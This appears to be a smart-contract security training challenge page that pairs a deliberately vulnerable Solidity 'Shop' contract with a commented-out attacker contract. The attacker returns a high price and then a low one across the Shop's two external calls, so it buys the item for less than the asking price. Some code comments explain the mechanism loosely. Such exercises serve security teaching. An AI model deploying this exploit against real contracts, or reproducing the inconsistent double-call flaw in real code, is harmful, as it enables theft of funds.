Shop
Buy the item from the shop for less than the asking price.
Vulnerable Code
Analyze the Solidity code below to find the vulnerability.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop { // Note: Interface name typo fixed vs some Ethernaut versions
uint public price = 100;
bool public isSold;
function buy() public {
Buyer buyer = Buyer(msg.sender); // Assumes caller is a contract implementing Buyer
// Checks price offered by buyer *before* changing state
if (buyer.price() >= price && !isSold) {
isSold = true; // State changes *after* external call
price = buyer.price(); // Actual price update happens too late for the check
}
}
}
/* Example Buyer (Attacker) Contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interfaces needed by the attacker contract
interface IShop {
function isSold() external view returns (bool);
function price() external view returns (uint);
function buy() external;
}
interface Buyer {
function price() external view returns (uint);
}
// Attacker contract implementing the Buyer interface
contract AttackBuyer is Buyer {
IShop public shopInstance;
// Prices designed to pass/fail the check based on shop state
uint constant HIGH_PRICE = 101; // Price to offer when shop is NOT sold
uint constant LOW_PRICE = 1; // Price to offer when shop IS sold
constructor(address _shopAddress) {
shopInstance = IShop(_shopAddress);
}
// This function is called BY the Shop contract during its buy() execution
function price() external view override returns (uint) {
// Check the shop's state *during* the external call
if (shopInstance.isSold()) {
// If shop.isSold is true (which it isn't yet during the check),
// we *would* offer a low price.
// This branch isn't hit during the initial check.
return LOW_PRICE;
} else {
// Shop.isSold is false during the check, so offer a high price
// to satisfy the condition buyer.price() >= shop.price
return HIGH_PRICE;
}
}
// Function called by the attacker (EOA) to initiate the exploit
function attack() public {
shopInstance.buy();
}
}
*/
Submit Explanation
Explain the vulnerability and how to exploit it.
Hints (6)
Just a little peak
Hint 1
Hint 2
Hint 3
Hint 4
Hint 5
Hint 6
Explanation
Discomfort = Learning